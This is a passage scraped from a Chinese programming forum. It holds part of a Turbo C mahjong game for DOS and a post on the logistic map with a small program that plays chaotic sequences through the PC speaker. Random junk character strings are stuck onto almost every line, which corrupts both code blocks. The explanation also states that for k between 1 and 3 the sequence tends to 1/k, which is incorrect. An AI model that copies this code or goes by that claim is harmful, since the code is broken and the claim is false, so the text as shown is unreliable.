% m9 I. o" p) o& G/ M: Q! KfillRectangle(x1,y1,x1+20,y1+4,0);
/ ?0 c# \- D+ g}
+ y: X3 X) b6 m9 Y: l% w) oif(every==9)
( ?/ w" j. m+ ^. ?{
- u1 L! U$ b: ~+ q6 F- g' zx1=200;9 O( n1 P! y, c; p
y1=165;1 w6 {" h  j  `7 i% V. E
fillRectangle(x1,y1,x1+20,y1+4,0);
- R3 Y- l6 {0 l$ g! V4 h}
( x: ?- c8 d. z* |$ Y8 O5 j2 uif(every==10)
4 z7 g0 O9 o( _& G5 {{
3 |1 k! v; b" `$ B+ k9 r8 O/ X# ax1=220;# O* M% w1 _, q3 P8 o" n
y1=165;
- t) e' k; K" u6 {3 LfillRectangle(x1,y1,x1+20,y1+4,0);, l% b9 F/ M; m9 f8 K$ W3 K, c
}
6 Y+ n9 B7 u% F8 K9 \- O# Uif(every==11)
' d7 U/ ~$ S* g, \" U! ^7 k) S{- n9 k: C. m9 i0 n. y: s0 s  R
x1=240;
: g; m6 o& G$ ^& T( Ay1=165;
: R& `! o- C1 L/ r) XfillRectangle(x1,y1,x1+20,y1+4,0);8 O( Z- E: q! G) B1 d) K! a3 o( K
}
* U; T! d" d" F0 Nif(every==12)
/ ~+ O! `3 ~3 u( S% L{
, L: ]. s  J3 P3 v. j3 {$ Ix1=260;
0 w/ v' B7 Z, ?  f5 K* ]y1=165;
1 q0 \. C+ P: b/ t8 I: WfillRectangle(x1,y1,x1+20,y1+4,0);
& e% P) k0 a# A3 Q) H}
3 L% U5 B' S; T9 H' q- O
, H- {( o6 K' ]0 q: z2 y- {zz=0;5 g* r# E8 L: @9 P4 Z0 ^& j% G
every++;
4 Q( }* j2 z9 Q9 P- }  v0 Ez=z+20;
* f5 v8 ~/ ?4 K9 g* O}& M6 F6 B4 c4 @0 n* ^0 d
showbmp(every);
$ j5 V# l& H9 m3 y/ j# n6 I& Pkey=keyy;
. p7 g/ e. u+ J9 U( e6 rif(keyy==ENTER)
- C0 b2 f8 J  ]+ Q{
( i' w7 F) S; I$ P  i! c( Q8 w/ argzn(every); /*********************/" b+ w0 w( X. g+ `  l
if(sing==1) /*如果可以乓,做相应的处理*/
9 c8 z8 P; s* S2 Z( l{
! n2 z- y1 d/ R7 i" z" W, y2 k( F- skkk=0;
7 f- H, ^! f0 c# d& h$ h1 |kkkk=0;
- y* Q" x4 }" S1 L0 y& |while(kkk&lt;=computer.m)8 _4 a- \* n4 D$ i* H0 G1 e, k
{
6 t8 u* X5 j; z- H6 |5 Y6 a) Sif(computer.pp[kkk].p!=1)
; P: e  e3 [. L' K4 }% D. n5 P, w{$ C* d9 i2 x7 S3 L3 G8 k# Q5 t5 b
comp.pp[kkkk].k=computer.pp[kkk].k;
4 b' V5 R7 f8 C$ }! m1 u5 E2 v& ^comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;$ m  ]. ^. T, Y( ]: m
comp.pp[kkkk].number=computer.pp[kkk].number;' ]( l& f& W/ s/ c
kkkk++;
9 O- ?+ w9 ?. _5 [8 S}. @- `& u0 ?3 S9 b
else
6 p) `6 X0 v/ x{, X+ D1 R: t6 w  j" f' d
m[computer.pp[kkk].number].data1=1;
- j2 z1 F/ g: O# I$ h) E8 Hdwei=computer.pp[kkk].number;
) A6 P$ M4 P, H9 }& Q2 q& Qcomputer.pp[kkk].p=0;8 A, [" u& G7 X% z, s
}) z1 g! g' _+ d1 i9 Q; I6 \
kkk++;& D: c: k$ f" K4 V! ]6 ^
}
& m- q: l- `+ u! ill=0;- b0 z3 u' O0 g4 \: o$ C
1 f7 Z- J7 v& }4 O2 I; ^* L$ l
while(ll&lt;3)
0 b! d! r2 a" n3 ?8 R{ zl=zl+20;9 k+ A5 P4 }/ ?7 h0 D, P
bmpp(dwei); /*显示乓的牌*/
5 |0 ]' ?0 W1 _ll++;
+ _; @: u  S- q) g- g2 B" H}
; ~! @1 _" F8 g6 [0 O  ?' G4 ~! x) N7 N' Q$ g7 c$ p
zl=zl+9600-60;& h; d* W# E  A
kkk=0;
( N: _% a: U* n) H3 w# Rcomputer.m=computer.m-2;
% J' @" U: d; J0 H9 Ywhile(kkk&lt;=computer.m)( E1 t5 O) k0 L- I5 E0 [
{
' B, d7 X* k! T) |computer.pp[kkk].k=comp.pp[kkk].k;
1 r+ N0 b/ ^) m+ v+ N) r  Rcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;9 o/ M8 p) \3 C% o
computer.pp[kkk].number=comp.pp[kkk].number;
9 T; R9 y2 k3 d% R# J3 y5 N1 M+ c, A: Kkkk++;
+ v& L' u4 @& R9 L}
5 C7 ?7 w% w6 ~; Wll=0;
4 p. q& _. _5 J) Ptemp=random(computer.m); /*出牌等待完善*/
0 x9 _! a& ^+ q" Izyy=zyy+9280+20;( o2 p# F9 P- v( P8 i4 L
showcbmp(temp);7 s5 l* m. K1 B/ W+ b
zyy=zyy-9280;+ _# U0 _$ z; _! j; B# C4 v
/*****/$ b) q9 m6 Y  {9 }8 Z: X/ ?; U/ T& l
rgznme(temp); ; y( V1 Y9 a# _
panduan();
- X3 h3 q4 W% ~8 N4 {, a! [2 H. jif(me.m==0)
. I& y, K: s9 Gif(second==1 &amp;&amp; threes==0)
; o/ @: P' _, x2 I8 ]5 Lprintf("you win!");
& ^8 U4 d! q4 _( C; L+ {0 G; uif(me.m==3)
' C) P2 v# J3 Q3 P6 Y6 jif(second==1 &amp;&amp; threes==1)/ T, {! E9 s4 M" Q3 U: I- f
printf("you win!");
$ m: q6 I. c! y8 M$ sif(me.m==6)
" ?  a, D' A' R# p0 Aif(second==1 &amp;&amp; threes==2)
! Z+ z' v+ ]  ^2 ^( s" fprintf("you win!");9 L. F0 p4 S0 G( H4 G+ F' j* Z) a* @
if(me.m==9)
! f5 p9 X9 ]* |if(second==1 &amp;&amp; threes==3)& n  q, B* J% k% C8 h# F; ]+ k7 D
printf("you win!");
* }2 \5 B# z4 _3 K7 ]9 d5 [if(me.m==12)$ ]' J. g9 |& U# V& G7 z
if(second==1 &amp;&amp; threes==4)0 L( {3 j+ R" P
printf("you win!");
3 l: N- Y8 Q  Z, v3 W2 U/ H! w. i7 _0 A
kkk=0;
1 }9 ]$ F/ o& e% p% f1 K0 qkkkk=0;' t! N5 \7 P4 X/ H% Y8 r  A8 h  P1 g
while(kkk&lt;=computer.m); b+ ?$ s+ {2 t9 }
{
) V6 d/ v: [) N- v% S5 o* ?" Pif(kkk!=temp)
- [8 L% d4 x% s{7 b  x. [6 F. d
comp.pp[kkkk].k=computer.pp[kkk].k;. Y/ W; y% I: S4 {' K; I
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;5 y. s; }* h+ {% s% |
comp.pp[kkkk].number=computer.pp[kkk].number;
+ S8 E3 Z9 |8 H% @: Tkkkk++;
" B/ c8 F" ~1 G1 C$ [$ t9 Q}
( Y. g9 b; d7 belse( J: U* o% q! N/ N( X
m[computer.pp[kkk].number].data1=1;
! c  n; x' y, Ckkk++;# A# N7 E; ]" J2 d
}
+ i, r2 T( _, T- lkkk=0;; Z' O/ G3 O# m; T
computer.m=computer.m-1;. [' S" u4 P. {1 B
while(kkk&lt;=computer.m) % X1 V8 j( x& U3 j
{1 ^4 s3 w4 \; b; o- C2 j" ^2 t  ^
computer.pp[kkk].k=comp.pp[kkk].k;- e& n& G# X9 Q& H8 _. c! r5 ^
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;% T2 w* U/ A' V' X
computer.pp[kkk].number=comp.pp[kkk].number;
6 d& ]# `# q) S, s! h) {kkk++;
8 [. m7 J  C2 r2 [}9 q1 O! e, R" ?
fillRectangle(0,0,320,30,0);+ R8 e/ @; {: h7 f7 O& _$ N8 i$ z
n=computer.m;
+ d9 M1 D* c9 r" bll=0;$ ?4 L5 W8 J8 P$ ?
zy=0;
; T  ~! |/ H. Y- `- o1 K8 D/ [while(ll&lt;=n)
2 v5 c% g4 E, O2 [5 Z( a1 Q! z{
2 z: K7 x& ^' r5 c- H! E8 Hzy=zy+20;
9 p# r2 d8 }  M5 f( r3 L; b, Yshowybmp(ll);
; C6 s; E1 A5 k7 O# `  i8 Xll++;- ]6 o# Z& O! x
}
' i0 w( M0 F% g) E# y5 Y8 [6 dll=0;
/ Q' E2 j# e; _$ c4 p1 kgetch();7 @! f4 \! L' L$ W- V+ F) _! V
sing=0;
) v8 F0 b- y3 Nsing1=1;1 L% S2 d4 F3 t2 Y6 S# k4 r
}
0 ?) r8 k0 I5 F8 T; M
4 b' I8 ?  c' D1 t+ ^* kif(sing==2) /*如果可以杠的做相应处理*/( s/ ^0 }1 ^4 ~; H' q
{
' M2 t' z/ s, F$ U  V3 U( Akkk=0;
5 A2 O/ G3 z: Ikkkk=0;* t3 V( o% v; l# j
while(kkk&lt;=computer.m)% f& ^; ~& W' `3 P( `
{
$ E8 G/ J" m3 B0 ~2 l' w; ]if(computer.pp[kkk].g!=1)
3 o$ s, c. u' d{0 X  Q. r; z5 T$ n
comp.pp[kkkk].k=computer.pp[kkk].k;; d: @/ j: B3 I: w& z- @0 {) }
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;, P4 |6 e- U3 v9 f. Z  |% l
comp.pp[kkkk].number=computer.pp[kkk].number;  ]# g1 G! [: X6 h  a* a
kkkk++;7 a: e; u" ^0 j# o3 c6 E4 n
}
) ?+ k# Y1 }5 d- E6 N1 `3 j5 M( Eelse- }6 ~2 D0 }. D- n8 c* @: g: u0 ^
{; U* @- ~: H# @
m[computer.pp[kkk].number].data1=1;. e% O6 v7 w+ ~; w
dweig=computer.pp[kkk].number;
4 e3 o' q0 R3 }computer.pp[kkk].g=0;
7 L4 t( y+ h1 ?8 n7 h( |}
7 N" U4 c5 w" rkkk++;
* m. d, `! b  G4 A0 G}
& P% f% t& ]/ @; H/ tll=0;
. j# p9 U0 a: E# _
$ W$ L& [% d" n7 v% x& ^4 zwhile(ll&lt;=3)7 y: I! H0 T' F' D& Q( z0 P- g  P% {7 k! e
{ zl=zl+20;
5 z  a  J* l: v, ?' d9 sbmpp(dweig); /*显示杠的牌*/
8 k3 {& [+ `' Ell++;
% _' Y0 O0 B0 x}
9 Y; b7 c6 {8 gzl=zl+9600-60;7 d$ V' `& N' f/ ^
kkk=0;
/ E) U, u1 t8 I3 _6 ?% ^7 Ucomputer.m=computer.m-3;
8 c7 `) r4 [7 a; q1 A! R1 }" lwhile(kkk&lt;=computer.m)
& F4 M2 A: x7 z{
) l5 H1 K2 m4 p3 u7 A& g" V* Dcomputer.pp[kkk].k=comp.pp[kkk].k;
1 |# E/ X; |9 D; b+ `; Kcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
- c6 [4 q4 K* l8 N' Acomputer.pp[kkk].number=comp.pp[kkk].number;' u' ]: {6 K; L& j; I$ X1 f: i
kkk++;
: g( ~, [) }, v}9 e# G/ T: v# R0 r  c- [. e
kk=0;
5 j' D& p9 i0 Pcomputer.m++; /*加一个牌的容量*/
6 G) j- Q$ |5 T  m4 p% Y/ Zwhile(kk!=1), m% {, D: F$ [! P9 j
{
( \# u5 k6 [# F' @! a: K( ktemp=random(136); /*出牌*/
+ `; ~4 g  m7 z" Y* |! yif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
: q) |% ~: g" y: D% p& c{
* s+ R+ D* w9 d% s, ^computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/" m! P) I7 |5 N) o. F
computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
1 r9 d6 B- D# w* Q; @$ T1 kcomputer.pp[computer.m].number=temp; /*第几张,用来排序*/
4 d6 t. X" X. p2 nm[temp].data2=2; /*判断牌是谁的,2为电脑*/; [0 p) O9 p  @* m: v) p
kk=1;* o. A$ b' `2 J; R
}
% g; u9 F; C) j. t8 @- |* y2 b}
1 M* j/ l$ o, O5 N6 d  Gcomlipai();
2 T1 A0 @5 u9 i# n" l0 |temp=random(computer.m); /*出牌,等待完善*/+ z  x0 {! J! G8 ~& A
zyy=zyy+9280+20;6 o5 |  m  f. {/ Y. b
showcbmp(temp);
5 X6 ?( ]) }4 R& [4 ?8 s5 o) yzyy=zyy-9280;
) i4 S: ~) h& W% d9 z0 p/*****/
1 Z4 Z( G/ t$ X" A& I- Mrgznme(temp);
8 I0 Q( `# q7 U: @panduan();
0 q0 e. }" V3 |; o0 qif(me.m==0)6 I8 l* l  I6 h; L8 j
if(second==1 &amp;&amp; threes==0)% X. e: l2 v5 S5 y; P
printf("you win!");
5 ^) o- {7 `  E- T% s- wif(me.m==3)
  S8 t  B* S+ k% x3 t/ }; `if(second==1 &amp;&amp; threes==1)# O' k3 A- v! d6 f  }2 N
printf("you win!");
, h- \4 A8 Y$ l+ Pif(me.m==6)  u; g" D1 `! y1 D
if(second==1 &amp;&amp; threes==2)
1 s% t+ m. ^4 v- t% ~: hprintf("you win!");5 h8 X4 v. E, x# f& N2 l2 p1 _
if(me.m==9)
% Y% v5 z5 g( N0 S) \if(second==1 &amp;&amp; threes==3)
' `+ ?( h9 Y! Lprintf("you win!");
  F) B6 e: J; o1 [  u- h7 B* c7 Mif(me.m==12). s3 }$ v( J$ C+ k
if(second==1 &amp;&amp; threes==4)
3 T) l3 c" k: @4 kprintf("you win!");
# w/ |( p# S9 I+ \. r' S
# M* z9 O0 S" Q) ]+ r! qkkk=0;4 G4 j: c+ w2 P4 |- L; r) i
kkkk=0;6 {/ ?7 O9 \  N3 C4 |+ @
while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/9 t" R( M1 [4 h$ X; s
{
+ F6 L- V0 O0 k% mif(kkk!=temp)3 `- l8 T% R% c2 b* F* |' p2 z$ `
{( w- ~/ @5 s# _5 M
comp.pp[kkkk].k=computer.pp[kkk].k;5 K# K8 w5 ?- g7 S8 w2 A; U5 a- ]  b
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
/ d/ V1 ?; y+ {" v0 Y& @! k  Q0 M1 ncomp.pp[kkkk].number=computer.pp[kkk].number;
0 Z, E# [6 o1 y; M1 M+ C: gkkkk++;
2 Q6 c' {2 C. M6 v9 L}2 R" g/ M1 W/ E8 ]8 R3 w* v: A8 J
else' c1 w  D6 o/ h1 Q
m[computer.pp[kkk].number].data1=1;; f. a$ [: ]4 g& E" z2 D
kkk++;  ^6 s- }4 p* y) q' w0 O4 ^! G/ x
}
: ?8 u1 D& }- s8 F' R; Vkkk=0;
) q8 s! e; Y# L5 @1 Pcomputer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/  O6 D6 W# c. L. `6 u1 p* H$ K" H
while(kkk&lt;=computer.m)
: m3 ]3 ?, z/ X2 U$ o! U: W" t{' n/ t+ V9 n+ u: y
computer.pp[kkk].k=comp.pp[kkk].k;
: r2 _0 j/ U1 a2 ^computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
0 Y3 F" c; h4 V) D5 Y  {/ _7 s# {6 Rcomputer.pp[kkk].number=comp.pp[kkk].number;
1 A% ]- `) Q+ Y/ Ukkk++;# B& l1 o" B0 }1 }
}
% B7 q5 l- t' ffillRectangle(0,0,320,30,0);' T( Y# X3 o. ^6 v! _$ u, S
ll=0;
) o/ l8 j; [5 L5 ~3 hzy=0;
7 C% Q  {2 K( @3 lwhile(ll&lt;=computer.m)' c) m& i5 W1 T2 ?0 U. {
{( }3 T! `( G2 Z2 d5 p+ {9 m' ?+ w
zy=zy+20;2 G2 I$ C# f5 V4 |* A
showybmp(ll);% C7 R& U/ E' r" v* _: ?" L
ll++;' v0 M+ B$ `  |8 Q9 R
}
) p* i/ ]: R: P! Y9 u9 z3 Osing=0;
% L0 \3 y3 y' }sing1=1;6 {# Z, \+ m2 {/ v& M
}
$ U( a, j  t" aif(sing==7) /*如果可以吃的,做相应处理*/2 b0 E7 k/ u5 @7 i' c# D& f1 k( h0 K
{ nn=0;& Q& {* {. S6 L1 T3 X; Q  v
kkk=0;
. @3 }3 Q  [( U2 g' m6 _9 \. Qkkkk=0;
& |/ Q% p' e& Cwhile(kkk&lt;=computer.m)- ^& [) ~* o0 ]# f8 g& R' N
{
( U) q2 T% f; b; F8 ?if(computer.pp[kkk].c!=1)3 g, L3 v, e( z( j( G% d
{
9 n) |; c8 G& `( o5 b5 s2 rcomp.pp[kkkk].k=computer.pp[kkk].k;
' |- X; ]2 b' N1 a; J( q# Ycomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;3 Z1 b8 `" T& S$ m/ H* D
comp.pp[kkkk].number=computer.pp[kkk].number;
. Y! V/ d& A3 H# P: D2 d2 J: Ckkkk++;
9 _5 j( N1 x) l2 `) l  [/ [}% J) V, A2 R) Q. h1 c1 }
else5 l  `( n$ x. M
{
2 p- {! u) f/ ^7 B' ^" v* W: Wm[computer.pp[kkk].number].data1=1;
  l: T) S+ `& s4 p# `2 Ddw[nn++]=computer.pp[kkk].number;5 l; X- j! e7 w; v; y) z
computer.pp[kkk].c=0;. I) `/ a$ f+ ?" e5 h
}! E: m. t( O/ N4 K
kkk++;5 p* m' y5 q3 X) Z2 F# [
}
/ F% b" B5 A( A4 j. }1 P/ l4 L  d
' G. M4 [" I# Jif(me.pp[every].number&lt;dw[0]). |6 \  x3 N: y& h% T, S
{
6 e" Y. X: C* U- G. k/ A8 Zdw[2]=dw[1];5 e) T) e8 O5 C0 @4 o" b
dw[1]=dw[0];
  T/ H, f! W- I. K/ l1 K# J( pdw[0]=me.pp[every].number;- v% o" v$ L6 g
}& }2 K$ n3 v5 v9 v! f1 @9 i+ ]- n
if(me.pp[every].number&gt;dw[1])
" ~( O) o! z5 P{
4 q) F" V6 L& |4 Edw[2]=me.pp[every].number;
9 ?* o3 T+ x3 H+ O' Q$ I, Q7 G% m8 E& G. S}' ~( W) `+ ~. @2 [
if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
! t* p  G4 _5 G3 b0 z{
# P; g! G9 m0 d  c8 }: {4 Zdw[2]=dw[1];/ [9 J. B4 u) v' P; u
dw[1]=me.pp[every].number;& X( }5 E2 `4 u- Z- B$ f
}( _, m3 S3 w4 G1 a' t# b$ G
nn=0;
2 P/ E# }7 F# {" |' o8 }while(nn&lt;3)$ y! @: O/ O6 [  V- Y; v  F
{ zl=zl+20;
: H& @5 t0 X6 Z7 |bmpp(dw[nn]); /*显示吃的牌*/
, n+ X) M# I8 V# f+ M  h6 j: ann++;
" Z9 Y, O" p: Z}, ^3 w7 f8 S# M4 E3 [# V1 V
zl=zl+9600-60;7 n: W& C+ Q, M" C! r# h
kkk=0;
/ p5 b! V) L0 q: y5 vcomputer.m=computer.m-2;
6 T" B( T* P  W6 u2 ^6 B- d" e1 ?3 }" Uwhile(kkk&lt;=computer.m)0 O9 C2 L: N. n* T
{8 d/ A( e2 C1 ^& [: \8 \' }& C; y
computer.pp[kkk].k=comp.pp[kkk].k;  g" ?/ O1 y- b$ Q0 N+ N6 d
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;( {( @. b! [  F' h3 b
computer.pp[kkk].number=comp.pp[kkk].number;" M) I9 `/ Q5 {' j# \+ F1 o3 c
kkk++;
2 h/ X& {$ Q5 G9 c0 e- P}4 e. G* L+ X7 f1 w, r6 [/ U
ll=0;
. e8 P# W9 d2 I7 C( _temp=random(computer.m); /*出牌等待完善*/
% U4 D# r' B# _$ t1 }# {9 Qzyy=zyy+9280+20;( V' q- F  }9 \- u! c. _7 A
showcbmp(temp);
3 |2 w( f+ S2 G( b" H6 {) }# \zyy=zyy-9280;+ Z& W5 o  C: H+ o4 ^% {( X
/*****/4 B6 N- Y- k6 w
rgznme(temp);
; h5 l% h7 j! [; Epanduan();
) x: K1 s/ `2 f/ g2 S2 `if(me.m==0)
( T1 j2 u8 g- @& p& M4 Uif(second==1 &amp;&amp; threes==0)
' }9 p6 z1 q/ \: a9 e* P4 B" Tprintf("you win!");
5 v% G. T# U0 X$ tif(me.m==3)' W+ T( ]. E# R5 S* h0 J7 q- g
if(second==1 &amp;&amp; threes==1), A  G4 h) q- @: [5 I% u4 O) F
printf("you win!");
3 I9 T. Y" P- D5 P4 Sif(me.m==6)
: @/ t( o* ]: f' ~; Z  u! {1 cif(second==1 &amp;&amp; threes==2)
/ [. y1 |- s" Z2 gprintf("you win!");
) V: B" g  [; G3 cif(me.m==9)4 K( e% C3 p; ^8 A2 X/ @
if(second==1 &amp;&amp; threes==3)
5 F! q  J! d5 Z. A' ]printf("you win!");
. }7 A% T+ p) `& E) U) U2 `if(me.m==12)
0 d$ M3 R) o! L) yif(second==1 &amp;&amp; threes==4)1 H& z1 C* h/ S" H  l
printf("you win!");
7 ?# l1 c6 T$ j8 A5 f' h& V4 P2 g9 H6 s
kkk=0;
5 P* U/ L- W9 G  [3 Ukkkk=0;" `& v5 q; q; H9 e8 S
while(kkk&lt;=computer.m); C/ i" }& p% D) L/ E" j, K
{
( T& y: \4 F5 `3 eif(kkk!=temp)
  C/ M0 X3 f2 }& u6 ?# R{
$ T9 S' b2 N* Ccomp.pp[kkkk].k=computer.pp[kkk].k;9 f* Q5 T2 ]. O4 U# w' N% A
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;! b0 u% ]- d6 \( U& _0 t
comp.pp[kkkk].number=computer.pp[kkk].number;
+ U8 }+ d: A$ Ikkkk++;; R& a( Y- T  _
}
- c9 V0 h4 ?) Xelse5 v- Z# z  ^) K1 T: }: p
m[computer.pp[kkk].number].data1=1;
8 F% s+ n# `, ^# U) W# X3 Wkkk++;3 @! U6 w( D6 B
}5 Z* V+ u2 G$ m5 X3 h1 R( K. K' c
kkk=0;: ]. h" o6 C, B' k+ v2 ?8 Y
computer.m=computer.m-1;1 ]! C, e3 h* D7 u1 c
while(kkk&lt;=computer.m) 1 s- U- E$ K, w5 H
{3 h/ Y/ l: x; _  K7 p6 L
computer.pp[kkk].k=comp.pp[kkk].k;0 t' Z7 _! G# k" L; s" ^% r) {2 v
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;+ a( B0 i. q4 Q& x' ]
computer.pp[kkk].number=comp.pp[kkk].number;& O; J. J2 u$ f" J# Y8 T  }# b
kkk++;
- Q1 E' o* s0 _5 F& W}
, N# S; |1 D; q' @fillRectangle(0,0,320,30,0);# V' j6 s, }2 Y; A
n=computer.m;
5 n1 f9 K2 \# hll=0;& S* q* u1 |+ Z. f# v
zy=0;
6 ?  w' @( V' H# z! kwhile(ll&lt;=n)
" ^# M3 u5 N# S8 A{
* E$ B, M+ P1 [) p- u! y8 Uzy=zy+20;
- K) m4 {0 p4 lshowybmp(ll);9 t: |: q, b/ S0 ^
ll++;( X( h7 U- y% b& F
}, v. j5 u( e* z4 M6 Q: o

. \' n8 Z- e7 R, q0 C# z* q$ N  Jgetch();
& P/ M: V1 K7 v( nsing=0;
% F' y0 ]5 s+ @1 O( U5 S; }sing1=1;
. K: j; L. a% x5 M, c0 ~- R- o}) V' ?* M2 L5 I- y7 A
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
' `/ ?$ o' e, G9 O0 l{
8 z% w8 f. R# s4 u9 I- X2 |kk=0;
  U5 C  P8 B$ j4 ?# j4 rh=me.pp[every].number;
% `- F8 @( w  o* J/ [# Ym[h].data1=1; /*此牌已经无用*/6 Z5 ], J+ q% g
if(sing1!=1)8 Y7 r" \. ?+ Y6 Z' A' Y/ m
{+ o4 l1 Q2 J9 u- r  {2 h/ V
zyy=zyy+9280+20;$ {. ]* {% S5 `, V4 K$ ~
showbmpd(every);+ k& [* o6 m$ F
zyy=zyy-9280;) I" L) ?. ]* \
}
% W0 u, W% G5 `% K, Y8 a  B. _+ ]while(kk!=1). W: t4 C: f" j' \
{
1 [: v- `3 @% ?: P* ^* i5 utemp=random(136);
* ~8 }9 n7 z- O, p0 z- r% M, Yif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)( t: q5 L" g2 I) V9 Y) Y# F# A
{: m: F' H# A/ ]. c3 B; t4 B- m
me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/3 z& e& f7 F+ _/ p$ k- \; H+ {
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/- X4 O$ ^& Z( w& ~0 ^! U
me.pp[every].number=temp; /*第几张,用来排序*/
# {- b! ?/ b  v2 ^$ I. R: rm[temp].data2=1; /*判断牌是谁的*/
" i9 Y6 [0 {+ W6 J) akk=1;
: h9 _! L- T; s( i$ E}
  h9 P3 N8 Y9 ?9 T* P; U' Z" uif(kk==0) /*判断如果又选择了,就从新再选*/
1 U) W  R2 P9 b! dkk=0;
% j+ c2 O' @3 ^0 B}
) F- V& _3 W( d' c9 a7 A# D5 Y}
" p3 x2 d5 @% H" R* xsing=0;
* i* J9 ]2 w: x; U, csing1=0;3 |$ B' ~" {. R+ p# O+ J( I
melipai();/ c7 m: O( d: w7 v! I; Y; W) P
n=13;. w4 P7 _: Q4 I7 n% g" h8 |
z1=54400;" N* X& N7 d6 C! l$ h2 ^
l=0;
5 w! l6 c: \2 Y7 Fg=z;
5 G, a  \" j) f* S& swhile(l&lt;n)
2 A, d" k# j8 d1 [' u7 N! J{ z=0;
; ?# g# A% U) z4 Y1 x1 qz1=z1+20;- _4 Y0 D9 Y$ U
showbmp(l);  {0 i$ ^- Y# O8 U
l++;
) `. \/ h" {1 g% T( ^  L! f}
. ]7 z5 @+ A4 zz1=0;
1 R; q8 U0 X7 S# ~* Jz=g;) v! b, Z( a* R3 l+ a
}
; `. Z- M2 p. F" fkeyy=0;
  |2 \  l  x; u$ }- E, T" h* R}" W  \& d7 _' ?: O

* [7 S, ?& Q" z. U  Fgetch();
. O7 {$ r4 b& K; v( X$ VOUTVGA;
. J. E/ C# R7 v9 _% B# w9 I}
9 n! b8 r6 A1 F- t- T</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])
$ F4 [2 x7 j' k% R+ O. [  C4 N</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:. M5 u) K8 M1 U
3 B1 c% w, Z( |; q8 \" s  l
  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。5 b; }7 H6 ?# n0 T8 q5 |
  <FONT color=#009900>#include <DOS.H>
, i; T: `' y4 s+ |  #include <STDIO.H>
% j: J/ A! P0 {  main(){+ b# |' ]1 ]. O2 |2 M. L$ _
  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/
  p( [; P  L- O% x  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/
9 a: }  W1 t  K; {. W  /*i,j用于循环记数*/5 b( T7 U0 Y+ b
  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/
( L- Q1 o5 f' g( e+ @& L  fDis=fMax-fMin;1 t+ `- O  R  q4 _! b
  for(j=1;;j++){
' {) e; q8 j0 I8 j2 d6 x  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/2 o2 M3 w, _* O& R! G
  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/" r. N- @' [- ^" ]- A: G. P" m! d
  scanf("%f",&k);
% X5 f# |( F3 s) f6 ?6 R) `" H  if (k==0) break;% H' H* C& o, _) j! `
  for(i=1;i&lt;100;i++) /*去除开始的100个点*/' l6 _* R# i- N: J8 ~
  x=k*x*(1-x);
+ z, I8 @" u/ X+ G" I7 N+ m  for (i=1;i&lt;100;i++){# n, @) J6 \6 f' S8 z1 j
  x=k*x*(1-x); /*计算x的值*/
) a7 q1 X% F0 V1 x2 h4 L) R' p  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/; X% _! E9 G6 E- B% ]/ L, t
  delay(1000); }1 B5 z# A4 s: E- a! f. D# j& t
  nosound(); }}
, S6 Y4 |5 [. J" s: ?% N2 Z  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。+ H# _/ [' m9 @& v9 U. a0 R# R- A
不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

